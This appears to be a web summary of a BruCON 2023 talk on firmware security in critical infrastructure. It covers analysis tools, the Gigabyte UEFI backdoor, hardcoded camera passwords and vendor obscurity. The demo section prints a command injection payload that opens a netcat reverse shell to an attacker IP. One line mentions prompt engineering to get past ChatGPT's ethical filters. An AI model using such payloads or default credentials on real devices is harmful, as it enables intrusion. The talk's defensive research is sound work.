Firmware Vulnerabilities in Critical Infrastructure

Nate Warfield (Director of Research and Threat Intelligence · Eclypsium)

BruCON 0x0F · Day 2

Overview

In his BruCON 2023 talk, "Firmware Vulnerabilities in Critical Infrastructure," Nate Warfield, Director of Research and Threat Intelligence at Eclypsium, takes the audience on a journey through the perilous landscape of firmware security. Warfield, a seasoned security researcher and fourth-time BruCON speaker, highlights how firmware—the "tiny operating systems underneath your operating systems"—has become a burgeoning and often overlooked attack surface, particularly within operational technology (OT) and critical infrastructure. The presentation serves as both an educational dive into firmware analysis techniques and a stark warning about the systemic vulnerabilities plaguing devices that underpin modern networks and essential services.

Watch on YouTube

Visual summary for Firmware Vulnerabilities in Critical Infrastructure by Nate Warfield
Visual summary for Firmware Vulnerabilities in Critical Infrastructure by Nate Warfield

Key moments

  1. 3:45 The growing, invisible firmware attack surface
  2. 4:15 Increasing prevalence of firmware attacks timeline
  3. 19:00 Using EMBA for automated firmware analysis
  4. 24:00 ChatGPT assisting in firmware reverse engineering
  5. 34:00 Uncovering the Gigabyte UEFI backdoor
  6. 38:00 Hardcoded passwords and SSH backdoors in cameras
  7. 43:30 Vendors hinder firmware security research
  8. 50:00 Q&A: No end-user tools for firmware security

Firmware Vulnerabilities in Critical Infrastructure

Speakers: Nate Warfield, Director of Research and Threat Intelligence, Eclypsium

Conference: BruCON

YouTube: https://www.youtube.com/watch?v=qCgfr7pOkWc

Overview

In his BruCON 2023 talk, "Firmware Vulnerabilities in Critical Infrastructure," Nate Warfield, Director of Research and Threat Intelligence at Eclypsium, takes the audience on a journey through the perilous landscape of firmware security. Warfield, a seasoned security researcher and fourth-time BruCON speaker, highlights how firmware—the "tiny operating systems underneath your operating systems"—has become a burgeoning and often overlooked attack surface, particularly within operational technology (OT) and critical infrastructure. The presentation serves as both an educational dive into firmware analysis techniques and a stark warning about the systemic vulnerabilities plaguing devices that underpin modern networks and essential services.

Warfield’s motivation for this talk stems from a recognized gap in the cybersecurity industry: the scarcity of firmware security experts. He aims to demystify the field, sharing his own learning process and hoping to inspire a new generation of researchers to tackle this critical domain. The talk underscores that while traditional security solutions like EDR and NDR are blind to firmware-level attacks, adversaries are increasingly exploiting these hidden layers for persistent access and stealthy operations, making this an urgent and vital area of focus for defenders.

The talk provides a comprehensive overview of the firmware security landscape, from the fundamental nature of firmware and its critical role in hardware functionality to the escalating trend of real-world attacks. Warfield details the limitations of current analysis tools, both commercial and open-source, and shares several "technical dead bodies" – egregious vulnerabilities he uncovered in industrial routers, security cameras, and data center equipment. Ultimately, the presentation is a call to action, emphasizing the need for greater research, transparency from vendors, and proactive defense strategies to counter the growing threat posed by firmware exploitation.

Background

▶ Watch: The growing, invisible firmware attack surface (3:45)

Firmware represents the foundational software that controls the hardware components of almost every electronic device, from desktop computers to complex network equipment and industrial control systems. It's the operating system underneath your operating system, responsible for crucial functions like secure boot, managing TPM chips, and orchestrating device operations. Despite its fundamental importance, firmware often remains an invisible and under-secured layer within an organization's technology stack, largely ignored by conventional security monitoring tools like CrowdStrike Falcon or SentinelOne.

The problem is compounded by the inherent complexity of updating firmware. Unlike routine software patches, firmware updates are often manual, labor-intensive, and carry a higher risk of bricking a device, leading to a prevalent "if it ain't broke, don't fix it" mentality. This reluctance to update leaves countless devices running outdated, vulnerable firmware for years. The attack surface has expanded dramatically over the past decade, with a clear acceleration in firmware-related exploits. Warfield illustrates this with a timeline showing a sharp increase in publicly disclosed UEFI rootkits, supply chain attacks, and nation-state compromises targeting firmware, moving from isolated incidents in 2011 to a rapid cadence of multiple attacks in 2021-2023. Noteworthy events include the Hacking Team breach (UEFI rootkits), Equation Group disclosures, Black Lotus secure boot bootkit, MSI source code leaks, the Gigabyte backdoor, Barracuda device compromises, and Citrix zero-days.

The U.S. government's Cybersecurity and Infrastructure Security Agency (CISA) maintains a list of Known Exploited Vulnerabilities (KEV), which represents vulnerabilities actively exploited in the wild. Warfield's analysis of this list reveals a sobering truth: firmware is the second most exploited vulnerability type, trailing only server software. This statistic underscores that while the industry often focuses on application and operating system security, attackers have long recognized firmware as a lucrative, low-risk, and high-reward target for achieving persistent and stealthy access. The lack of widespread research, limited open-source tools, and the absence of robust bug bounty programs in this domain further contribute to attackers consistently having the upper hand.

Key Findings

▶ Watch: Using EMBA for automated firmware analysis (19:00)

Warfield's research unveils several critical insights into the state of firmware security, highlighting both the pervasive vulnerabilities and the systemic challenges in addressing them.

Firstly, firmware is pervasively vulnerable and under-researched. The speaker's personal experience of analyzing hundreds of firmware images consistently revealed "horribly insecure" technical dead bodies. Despite the growing number of attacks, the firmware security research community remains small, and expertise is scarce, leading to a significant imbalance in favor of attackers.

Secondly, commercial firmware analysis tools are often limited and expensive. While offerings exist for IoT scanning and Software Bill of Materials (SBoM) generation, many are restricted to specific architectures like Linux with u-boot. They struggle with complex or obfuscated packing methods and primarily focus on correlating known CVEs with identified software components rather than deep, exhaustive analysis for novel vulnerabilities. These tools, while providing "pretty reports" for executives, don't necessarily offer actionable insights for patching.

Thirdly, unpacking and analyzing firmware is a significant hurdle. Vendors often employ proprietary, obfuscated, or encrypted packing methods to deter analysis, making initial extraction difficult. Tools like Binwalk and Unblob are essential but frequently hit limitations. The speaker cited a Citrix NetScaler example where the kernel and file system were spliced together, requiring obscure techniques for extraction.

Fourthly, open-source automated analysis frameworks are powerful but resource-intensive and slow. Tools like FACT (Firmware Analysis and Comparison Tool) from the Fraunhofer Institute and EMBA (Embedded Analyzer) offer automated unpacking, CVE correlation, CISA KEV checks, SBoM generation (e.g., CycloneDX), and QEMU emulation. EMBA, Warfield's preferred tool, boasts 76 modules, but a single analysis can take anywhere from 2 to 36 hours, or even up to 4 days for large images, consuming vast amounts of CPU and RAM. This inherent slowness makes large-scale analysis challenging without significant computational resources.

Fifthly, AI/Large Language Models (LLMs) like ChatGPT show promise but have critical limitations. ChatGPT proved useful as a "learning assistant" for basic reverse engineering, helping decrypt a Cisco iOS firmware image by identifying an OpenSSL command and passphrase from assembly code. However, for vulnerability detection in source code (e.g., PHP), it required careful prompt engineering to bypass ethical filters, hallucinated vulnerabilities, lacked understanding of code interdependencies, and was constrained by token limitations and cost (GPT-4 being significantly more expensive for analysis). Crucially, it failed to recognize a properly patched vulnerability, indicating its current inability to perform reliable security analysis.

Finally, Warfield presented several "technical dead bodies" found through his research, demonstrating the widespread nature of firmware vulnerabilities:

  • A Gigabyte UEFI backdoor (affecting 400+ models and tens of millions of machines), which embedded a Windows service that called out over HTTP without certificate validation, allowing for arbitrary code execution if an attacker could spoof the update server. This technique mimicked nation-state malware like LoJax, Smoke, and Moonbounce.
  • Hikvision IP cameras with hardcoded passwords (e.g., "12345", "Duo Hao" – "unique" in Chinese) and SSH host key backdoors for accounts like "management" and "key management." Many ran severely outdated Linux 2.x kernels and were vulnerable to Shellshock and Heartbleed.
  • Industrial devices (e.g., Raycom industrial routers, Orange Box 5G routers) containing default passwords, ancient Linux kernels, and known CVEs with readily available Metasploit modules.
  • Serial-to-Ethernet devices and IP KVMs (e.g., Lantronix) with passwordless root accounts, command injection vulnerabilities via unsanitized input (e.g., ping $1 allowing 127.0.0.1; netcat ...), and even passwords embedded directly in logon banners visible on Shodan.

These findings collectively paint a grim picture: critical infrastructure and widely deployed devices are riddled with basic, easily exploitable vulnerabilities that attackers are already leveraging.

Technical Deep Dive

▶ Watch: Uncovering the Gigabyte UEFI backdoor (34:00)

Firmware is the essential bridge between hardware and software, a crucial layer that often operates with elevated privileges and is difficult to inspect or protect. As Warfield explains, it's the "tiny operating systems underneath your operating systems," managing everything from secure boot sequences to the functionality of TPM chips. The increasing sophistication of hardware, with modern chips like the ESP32 surpassing the power of early desktop computers, means firmware is becoming even more capable and, consequently, a more attractive target.

The attack surface has demonstrably grown, with a shift from rare, high-profile incidents to a steady stream of widespread compromises. The presentation highlights a timeline of escalating attacks:

  • 2011: Early isolated attacks.
  • 2015: Hacking Team breach, exposing UEFI rootkits.
  • 2018: Equation Group disclosures, revealing sophisticated firmware implants.
  • 2020-2023: A significant surge, including the Black Lotus secure boot bootkit (March), MSI source code leaks (allowing for malicious firmware signing), Gigabyte backdoor (May), Barracuda device compromises, and Citrix zero-days.

Warfield emphasizes that firmware is the second most exploited vulnerability category on the CISA KEV list, a stark indicator of its criticality. Traditional Endpoint Detection and Response (EDR) and Network Detection and Response (NDR) solutions are inherently blind to firmware-level compromise, allowing adversaries to establish persistent footholds beneath the visibility of conventional security controls.

Analyzing firmware involves several technical steps, often fraught with challenges:

  1. Unpacking: Firmware images typically come as single .bin or .img files. The first hurdle is extracting the embedded file systems and binaries. Tools like Binwalk are standard, but many vendors employ custom or obfuscated packing. Unblob, developed by OneKey, offers broader support for embedded file systems. The speaker provided a specific example of Citrix NetScaler build 13.1.96.0, where the kernel image and file system were interleaved, requiring a precise, obscure technique to separate them. This highlights that basic tools are often insufficient for complex vendor implementations.
  1. Static Application Security Testing (SAST): This involves analyzing source code for vulnerabilities. While ideal, source code is rarely available for compiled binaries within firmware. However, many device web UIs are built with languages like PHP. Tools like Semgrep (multi-language, open-source) and Progpilot (for PHP) can scan available code for common insecure coding practices, such as unsanitized input leading to command injection or SQL injection.
  1. Automated Firmware Analysis Frameworks:
  • FACT (Firmware Analysis and Comparison Tool): A web-UI-based tool from the Fraunhofer Institute, it automates unpacking, performs basic analysis (crypto material, CVEs, hashes, hardware lookups, SBoM), and supports QEMU emulation for running firmware images in a virtualized environment. It can process various architectures like ARM and MIPS.
  • EMBA (Embedded Analyzer): Warfield's preferred tool, EMBA is command-line driven, generating web-based reports. It boasts 76 different modules, including 44 test modules and 17 unpacking/preparation modules. EMBA performs comprehensive checks, including CISA KEV correlation, SBoM generation in CycloneDX format, and identification of vulnerabilities with known exploits. It integrates Semgrep for code analysis. However, its thoroughness comes at a cost: analysis times range from 2 to 36 hours, with some large images taking up to 4 days, requiring significant computational resources (e.g., a 12-core, 3.8 GHz AMD Ryzen with 32GB RAM). EMBA allows for module blacklisting to optimize analysis time.
  1. Assisted Reverse Engineering with LLMs: Warfield experimented with ChatGPT for reverse engineering. In one instance, he fed IDA Pro assembly code from a Cisco iOS firmware decryption utility into ChatGPT. The LLM successfully identified an OpenSSL command and its passphrase embedded as ASCII characters within the assembly, enabling the decryption of the firmware. This demonstrates its potential as an augmentation tool for researchers. However, its limitations for vulnerability detection were evident when it failed to recognize a patched PHP vulnerability, hallucinated issues, and struggled with code interdependencies due to token limitations and lack of contextual understanding.

The technical roadblocks posed by vendors are also significant. Fortinet, for example, historically encrypted its firmware and lacked integrity validation until version 7.4. After security researchers like Bishop Fox developed tools (forcrack) to decrypt their firmware, Fortinet restricted access, requiring a paid support contract to download images. Other vendors use proprietary formats, password-protected archives, or distribute firmware only through authorized resellers or via client-side applications (common for printers, projection systems like Crestron), effectively creating a "security through obscurity" barrier that hinders independent research and vulnerability discovery. This approach, as illustrated by Red Balloon's year-long effort to unpack Siemens PLCs, only delays inevitable discovery by determined attackers.

Demo / Proof of Concept

▶ Watch: Hardcoded passwords and SSH backdoors in cameras (38:00)

While Nate Warfield's talk did not feature a live, interactive demonstration, he presented a compelling series of "technical dead bodies" – real-world vulnerabilities discovered through his research, serving as concrete proof-of-concept examples of the talk's core assertions. These examples illustrate the types of egregious security flaws prevalent in firmware and how the discussed analysis techniques can uncover them.

One of the most significant findings was the Gigabyte UEFI backdoor, which garnered widespread media attention. Warfield explained that their platform detected a UEFI module that, upon system boot, extracted a Windows binary, wrote it to disk, and registered it as a service. This service, disguised as a "Gigabyte Update Service," then communicated over HTTP to Gigabyte servers to download updates. Crucially, it did not validate the server's TLS certificate and, while requiring signed binaries for Windows execution, did not verify that the signature was from Gigabyte. This allowed an attacker within the network to spoof the update server, deliver their own signed malware (purchasing a code signing certificate for as little as $100), and achieve system-level code execution. The technique of embedding a binary in UEFI and dropping it onto the OS mirrored sophisticated nation-state malware like LoJax, Smoke, and Moonbounce. This backdoor affected over 400 motherboard models and potentially tens of millions of machines. Interestingly, users had previously reported this persistent service on Reddit, with some discovering a hidden BIOS toggle to disable the "update service" without clear documentation.

Another striking example involved Hikvision IP cameras. Through automated analysis, Warfield's team found multiple models with hardcoded passwords. One camera used "12345" as a default, while another had "Duo Hao" as the password for the root account. "Duo Hao," meaning "unique" in Chinese, was likely a literal interpretation of a security requirement for a "unique password." Further analysis revealed SSH host key backdoors for specific accounts like "management" and "key management," suggesting intentional (though undocumented) access mechanisms. These cameras also ran ancient Linux kernel 2.x versions, making them vulnerable to well-known exploits like Shellshock and Heartbleed, highlighting the severe lack of patching.

Warfield also detailed vulnerabilities in various industrial routers and serial-to-ethernet devices. For instance, an industrial router from Raycom was found to have a command injection vulnerability identical to one previously reported in other vendors' devices. Raycom had released a patch that mirrored the fix from other vendors but failed to disclose it as a security vulnerability, leaving customers unaware of the critical update. In serial-to-ethernet devices and IP KVMs, Warfield found passwordless root accounts and critical command injection flaws. One example involved a ping utility that directly used unsanitized user input: ping $1. An attacker could input 127.0.0.1; netcat -e /bin/bash <attacker_ip> <port> to achieve a reverse shell. Perhaps most alarmingly, some Lantronix IP KVMs were found on Shodan with their default passwords embedded directly in the logon banner, allowing anyone to gain access to these critical data center infrastructure devices.

These "technical dead bodies" vividly demonstrate that firmware vulnerabilities are not theoretical but practical, widespread, and easily exploitable, often stemming from fundamental security oversights and a lack of proper lifecycle management.

Defensive Implications

▶ Watch: Q&A: No end-user tools for firmware security (50:00)

The prevalence of firmware vulnerabilities and the sophistication of attacks necessitate a paradigm shift in defensive strategies. Relying solely on traditional endpoint and network security tools is insufficient, as these solutions are inherently blind to firmware-level compromises. Defenders must adopt a more proactive, multi-layered approach to secure this foundational layer.

  1. Recognize Firmware as a Critical Attack Surface: The first step is acknowledging that firmware is a highly attractive target for persistent and stealthy attacks. It lives "underneath" the OS, bypassing EDR/NDR, and offers long-term persistence. Security teams must expand their scope beyond applications and operating systems to include hardware and its embedded software.
  1. Conduct Firmware Inventory and Analysis: Organizations should strive to create a comprehensive inventory of all devices running firmware, especially in OT, IoT, and data center environments. For critical devices, leverage automated tools like EMBA and FACT to unpack and analyze firmware images. While these tools are resource-intensive, they can identify known CVEs, hardcoded credentials, weak configurations, and outdated components. Prioritize analysis for public-facing devices and those in critical segments.
  1. Prioritize Firmware Updates: Establish a robust process for identifying, testing, and deploying firmware updates. Do not assume "if it's not broke, don't fix it" for firmware; attackers are actively exploiting known vulnerabilities. Pay close attention to vendor advisories and CISA KEV list entries related to firmware. Push vendors for clear, transparent security advisories that detail fixed vulnerabilities, like the Raycom router example.
  1. Demand Transparency from Vendors: Advocate for vendors to provide accessible firmware images for security research, comprehensive SBoMs, detailed security advisories, and robust integrity validation mechanisms (e.g., cryptographic signatures) for their firmware updates. "Security through obscurity" (encryption, proprietary formats, restricted access) only hinders defenders and delays inevitable discovery by adversaries.
  1. Implement Strong Access Controls and Configuration Management:
  • Eliminate Default and Hardcoded Credentials: Mandate changing all default passwords immediately upon deployment. Regularly audit for hardcoded credentials or SSH host key backdoors.
  • Sanitize Input: For any device or service that accepts user input, ensure robust input sanitization to prevent command injection, SQL injection, and other common vulnerabilities, as demonstrated by the ping $1 example.
  • Disable Unnecessary Services: Turn off any unused or insecure services (e.g., Telnet, FTP) on firmware-driven devices.
  • Secure Management Interfaces: Never expose device management interfaces (e.g., web UIs, SSH) to the public internet. Follow CISA's binding operational directives and segment these interfaces to internal, trusted networks.
  1. Network Segmentation and Monitoring: Isolate critical OT/IoT devices on segmented networks to limit the blast radius of a compromise. Implement strict egress filtering to prevent compromised firmware from calling out to attacker-controlled C2 servers, which can be disguised as legitimate traffic (e.g., security cameras used as C2 nodes). Monitor network traffic for unusual patterns or connections originating from firmware-driven devices.
  1. Consider Supply Chain Security: Be aware of the supply chain risks associated with hardware. The Gigabyte backdoor highlights how even trusted vendors can inadvertently introduce severe vulnerabilities. Organizations should vet hardware components and their firmware for potential backdoors or insecure update mechanisms.
  1. Invest in Research and Expertise: Encourage internal security teams to develop expertise in firmware security. Support external research and consider bug bounty programs for critical infrastructure components to incentivize responsible disclosure. The current scarcity of firmware security talent leaves defenders at a significant disadvantage.

By adopting these defensive measures, organizations can begin to address the invisible and increasingly exploited attack surface that firmware represents, moving towards a more robust and resilient security posture against sophisticated threats.

Key Takeaways

  • Firmware is a Critical and Under-Secured Attack Surface: It's the "operating system underneath your operating systems," invisible to traditional EDR/NDR, and increasingly targeted by sophisticated adversaries for persistent access in OT, IoT, and critical infrastructure.
  • Widespread and Egregious Vulnerabilities are Common: Research consistently uncovers hardcoded credentials, outdated software (e.g., Linux 2.x kernels, Shellshock, Heartbleed), command injection flaws, and insecure update mechanisms, as demonstrated by the Gigabyte UEFI backdoor and vulnerable IP cameras.
  • Automated Analysis Tools are Essential but Resource-Intensive: Open-source frameworks like EMBA and FACT can automate firmware unpacking and vulnerability scanning, but they require significant computational resources and time (up to 4 days for large images) to perform comprehensive analysis.
  • Vendor Practices Often Hinder Security: Many vendors employ "security through obscurity" tactics—encrypting firmware, using proprietary formats, or restricting access—which impede independent security research and delay the discovery and patching of critical vulnerabilities.
  • LLMs Show Promise but Lack Maturity for Security Analysis: While AI tools like ChatGPT can assist with basic reverse engineering tasks (e.g., decrypting firmware), they currently struggle with reliable vulnerability detection, hallucinate, lack context for code interdependencies, and require careful prompt engineering.
  • Proactive Defense and Transparency are Crucial: Defenders must expand their focus to include firmware, prioritize updates, implement strong access controls, segment networks, and demand greater transparency and accessible security information from hardware vendors to counter the growing threat.

About the Speaker(s)

Nate Warfield is the Director of Research and Threat Intelligence for Eclypsium, a company specializing in firmware security research. With a career dedicated to breaking and fixing things before attackers can exploit them, Warfield brings a wealth of experience to the field. He previously worked for MSRC (Microsoft Security Response Center) for seven years, where he notably had the "dubious honor" of shipping the WannaCry patch. He also contributed to security efforts at F5 Networks.

A seasoned conference speaker, Warfield is a fourth-time BruCON presenter, known for his engaging and often provocative talks, including a previous presentation on implanting malware in network devices. He approaches security research with a passion, having transitioned from a hobbyist to a professional in the field. On social media, he uses the handle "0x08," a simple hex joke for those in the know. His current role at Eclypsium focuses on firmware security, where he actively seeks to find and address vulnerabilities in critical infrastructure and other embedded systems.

Reviews

→ Top-rated talks at BruCON 0x0F

All talks from BruCON 0x0F